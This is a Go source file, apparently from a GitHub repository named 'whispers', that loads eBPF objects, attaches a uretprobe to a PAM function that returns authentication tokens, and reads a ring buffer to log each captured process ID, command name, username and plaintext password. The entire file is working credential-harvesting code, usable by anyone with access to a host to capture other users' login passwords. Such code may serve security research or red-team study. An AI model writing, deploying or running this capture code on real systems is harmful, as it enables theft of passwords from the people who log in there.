/
whispers.go
89 lines (74 loc) · 1.78 KB
/
whispers.go
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package whispers
import (
"context"
"errors"
"log"
"os"
"os/signal"
"syscall"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/ringbuf"
"github.com/peter-mcconnell/whispers/pkg/config"
)
//go:generate ../../gen.sh
func Listen(_ context.Context, cfg *config.Config) error {
stopper := make(chan os.Signal, 1)
signal.Notify(stopper, os.Interrupt, syscall.SIGTERM)
objs := bpfObjects{}
if err := loadBpfObjects(&objs, nil); err != nil {
return err
}
defer func() {
log.Println("closing objs")
objs.Close()
}()
ex, err := link.OpenExecutable(cfg.BinPath)
if err != nil {
return err
}
up, err := ex.Uretprobe(cfg.Symbol, objs.TracePamGetAuthtok, nil)
if err != nil {
return err
}
defer up.Close()
log.Printf("Listening for events..")
rb, err := ringbuf.NewReader(
objs.Rb,
)
if err != nil {
log.Printf("failed to open ring buffer reader: %v", err)
}
defer func() {
log.Println("closing ring buffer")
rb.Close()
}()
go func() {
var record ringbuf.Record
for {
log.Println("reading ringbuffer")
record, err = rb.Read()
if err != nil {
if errors.Is(err, ringbuf.ErrClosed) {
log.Println("The ring buffer was closed, likely because the program is exiting.")
return
}
log.Printf("error reading from ring buffer: %v", err)
continue
}
event := parseEventData(record.RawSample)
if event == nil {
log.Println("Failed to parse event data. Printing raw data:")
log.Println(string(record.RawSample))
continue
}
log.Printf("Event: PID: %d, Comm: %s, Username: %s, Password: %s",
event.Pid,
byteArrayToString(event.Comm[:]),
byteArrayToString(event.Username[:]),
byteArrayToString(event.Password[:]))
}
}()
<-stopper
log.Println("Received signal, exiting program..")
return rb.Close()
}